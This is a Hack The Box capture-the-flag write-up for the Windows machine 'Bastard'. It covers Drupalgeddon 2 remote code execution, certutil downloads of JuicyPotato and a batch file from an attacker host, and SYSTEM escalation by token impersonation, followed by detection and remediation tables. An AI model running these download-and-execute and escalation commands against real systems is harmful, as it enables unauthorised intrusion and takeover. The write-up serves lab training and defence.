Skip to content
Back to all posts

HTB: Bastard

· 17 min medium Windows Bastard

Drupalgeddon 2 delivers unauthenticated RCE on a Windows Server 2008 R2 box with zero hotfixes, then JuicyPotato turns an IIS service account into SYSTEM via COM/DCOM token impersonation.

Overview

Bastard is a medium-rated Windows machine running Drupal 7.54 on IIS 7.5 with PHP 5.3.28, all hosted on Windows Server 2008 R2 x64. The system has zero hotfixes installed. Every component is well beyond end-of-life. The Drupal installation is vulnerable to Drupalgeddon 2 (CVE-2018-7600), a critical unauthenticated RCE flaw in the Form API that poisons the form cache and triggers PHP code execution through an AJAX endpoint.

Initial access yields a shell as nt authority\iusr, the IIS application pool identity. Privilege escalation abuses SeImpersonatePrivilege (granted to IIS workers by default) via JuicyPotato, which coerces COM/DCOM authentication to capture a SYSTEM token. After testing five CLSIDs to find one valid for Server 2008 R2, JuicyPotato executes an icacls command granting Everyone access to the Administrator’s desktop.

The box demonstrates why Windows IIS service accounts with SeImpersonatePrivilege are functionally equivalent to SYSTEM when an attacker has code execution.

Reconnaissance

A service scan identifies three open ports:

nmap -sC -sV -T4 10.129.15.124
PortServiceProduct / VersionNotes
80HTTPMicrosoft IIS 7.5Drupal 7, 36 robots.txt entries
135MSRPCMicrosoft Windows RPCStandard Windows RPC
49154MSRPCMicrosoft Windows RPCHigh-port RPC endpoint

The X-Generator header identifies Drupal 7. Two X-Powered-By headers are present: PHP/5.3.28 and ASP.NET. PHP runs as a FastCGI handler under IIS; the ASP.NET header is emitted by the IIS pipeline regardless of the actual handler.

Drupal version identification

curl -s http://10.129.15.124/CHANGELOG.txt | head -3
# Drupal 7.54, 2017-02-01

Drupal 7.54 was released on 1 February 2017. The Drupalgeddon 2 patch (SA-CORE-2018-002) shipped in Drupal 7.58 on 28 March 2018. This installation is four minor versions behind the fix.

Attack Surface Analysis

Drupal Form API (CVE-2018-7600)

Drupal 7.54 is squarely within the Drupalgeddon 2 vulnerability window. The REST services module is also enabled at /rest, accepting application/vnd.php.serialized as a content type, which opens a secondary attack path via PHP object injection. However, Drupalgeddon 2 provides unauthenticated RCE with higher reliability, so I prioritise it.

AttributeValue
CVECVE-2018-7600
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-20 (Improper Input Validation)
Root causeUnsanitised render array properties in Form API cache
AffectedDrupal 7.x before 7.58, 8.x before 8.5.1
Fixed inDrupal 7.58 / 8.5.1
MITRE ATT&CKT1190 (Exploit Public-Facing Application)

Vulnerability Analysis

Drupalgeddon 2 is a two-step exploit. First, a POST request to the password reset form (/user/password) injects malicious properties into the Drupal form cache. The attacker poisons the renderable array with #post_render set to a PHP callback function (e.g. passthru) and #markup set to the command to execute. Second, a POST to the AJAX endpoint (/file/ajax/name/#value/{form_build_id}) triggers rendering of the poisoned cache entry, invoking the callback with the attacker’s payload.

The form_build_id from the first response links the two requests. The entire chain is unauthenticated because the injection occurs in the password reset form, which is publicly accessible.

The fix in Drupal 7.58 restricts which properties can appear in renderable arrays submitted through form input, preventing the injection of #post_render and related callback properties.

Exploitation

Step 1: Drupalgeddon 2 RCE

I use the pimps/CVE-2018-7600 PoC script, which automates both steps of the exploit:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 -c "whoami"
# [*] Poisoning form and targeting /user/password
# [*] Result: nt authority\iusr

Code execution as nt authority\iusr. The user flag is readable because iusr has traversal privileges to the dimitris user profile:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "type C:\Users\dimitris\Desktop\user.txt"
# [redacted]

Step 2: Privilege enumeration

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 -c "whoami /priv"
# SeAssignPrimaryTokenPrivilege   Disabled
# SeIncreaseQuotaPrivilege        Disabled
# SeChangeNotifyPrivilege         Enabled
# SeImpersonatePrivilege          Enabled
# SeCreateGlobalPrivilege         Enabled

SeImpersonatePrivilege is the critical finding. This privilege allows the process to impersonate any client that authenticates to it, which is the prerequisite for JuicyPotato.

Step 3: JuicyPotato privilege escalation

JuicyPotato abuses SeImpersonatePrivilege by creating a local COM server, coercing a privileged COM/DCOM service to authenticate to it, and capturing the SYSTEM token. The CLSID parameter selects which COM object to coerce. Different Windows versions require different CLSIDs.

I upload JuicyPotato and a batch file using certutil:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "certutil -urlcache -split -f http://10.10.14.5/jp.exe C:\Windows\Temp\jp.exe"
# CertUtil: -URLCache command completed successfully.

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "certutil -urlcache -split -f http://10.10.14.5/cmd.bat C:\Windows\Temp\cmd.bat"

The batch file modifies NTFS permissions rather than spawning a reverse shell. The SYSTEM process created by JuicyPotato runs in a different Windows session where outbound connections are often blocked by firewall policy. Using icacls is a local-only operation:

icacls C:\Users\Administrator\Desktop /grant Everyone:F /T

Four CLSIDs returned COM recv failed error 10038 (WSAENOTSOCK: the CLSID does not correspond to a valid COM object on this OS version). The fifth succeeded:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\cmd.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}"
# [+] CreateProcessWithTokenW OK

After icacls grants Everyone full control, the root flag is readable from the existing iusr shell:

python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
    -c "type C:\Users\Administrator\Desktop\root.txt"
# [redacted]

Post-Exploitation

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
# OS Name:      Microsoft Windows Server 2008 R2 Datacenter
# OS Version:   6.1.7600 N/A Build 7600
# Hotfix(s):    N/A

Build 7600 with zero hotfixes: the original RTM release with no service packs or updates. This system has never been patched. Every kernel exploit from MS15-051 through MS16-032 would work as alternative escalation paths.

The technology stack tells the same story. PHP 5.3.28 reached end-of-life in August 2014. Drupal 7 reached end-of-life in January 2025. Windows Server 2008 R2 extended support ended in January 2020. IIS 7.5 shipped with Server 2008 R2 and receives no further updates.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
ReconnaissanceT1595.002CHANGELOG.txt access in IIS logs (version fingerprinting)
Initial accessT1190IDS rule matching render array properties in POST to /user/password
ExecutionT1059.003cmd.exe spawned as child of w3wp.exe (IIS worker)
Defence evasionT1218.003certutil used for file download (LOLBin)
Privilege escalationT1134.001Anomalous COM/DCOM authentication from IIS worker process

Network-level: Drupalgeddon 2 has well-known IDS signatures. The poisoned POST request to /user/password contains distinctive Drupal render array properties (#post_render, #markup, #type) that no legitimate form submission would include. Snort rule SID 46316 detects this pattern.

Host-level: certutil -urlcache is a known Living Off The Land Binary (LOLBin) technique. Sysmon Event ID 1 (ProcessCreate) with a command line containing certutil and -urlcache is a high-confidence indicator. The subsequent execution of JuicyPotato as a child of w3wp.exe is equally anomalous.

Remediation

PriorityActionEffortImpact
P0Upgrade Drupal to current stable (10.x)HighCritical
P0Upgrade OS to Windows Server 2022HighCritical
P0Apply all outstanding hotfixesMediumCritical
P1Upgrade PHP to 8.xMediumHigh
P1Run IIS application pool as a custom account without SeImpersonatePrivilegeMediumHigh
P2Restrict certutil execution via AppLockerLowMedium
P2Disable the REST services module if not requiredLowMedium
P3Remove CHANGELOG.txt from the web rootLowLow

The fundamental problem is not Drupalgeddon 2; it is the complete absence of patching. A system with zero hotfixes on a decade-old OS is indefensible. Patching Drupal alone does not remediate the risk when the OS kernel, PHP runtime, and IIS web server all contain known exploitable vulnerabilities. The correct action is decommissioning or full rebuild on current-generation software.

Key Takeaways

  1. SeImpersonatePrivilege on Windows IIS is functionally SYSTEM. Any attacker with code execution as an IIS application pool identity can escalate to SYSTEM via JuicyPotato (or its successors: PrintSpoofer, GodPotato). The mitigation is to run application pools under custom accounts that explicitly lack this privilege, but this breaks many IIS features.

  2. CLSID selection is OS-version-specific. JuicyPotato requires a valid COM CLSID for the target Windows version. Blindly trying CLSIDs wastes time. The ohpe/juicy-potato repository maintains known-good CLSIDs per OS. This is a practical detail that CTF writeups often gloss over.

  3. Two-step exploits require understanding, not just execution. Drupalgeddon 2 is frequently reduced to “run the script, get a shell.” Understanding the cache poisoning mechanism matters because manual exploitation may be needed when the PoC fails (as it did initially in this engagement with a custom Python script that did not handle the two-step process correctly).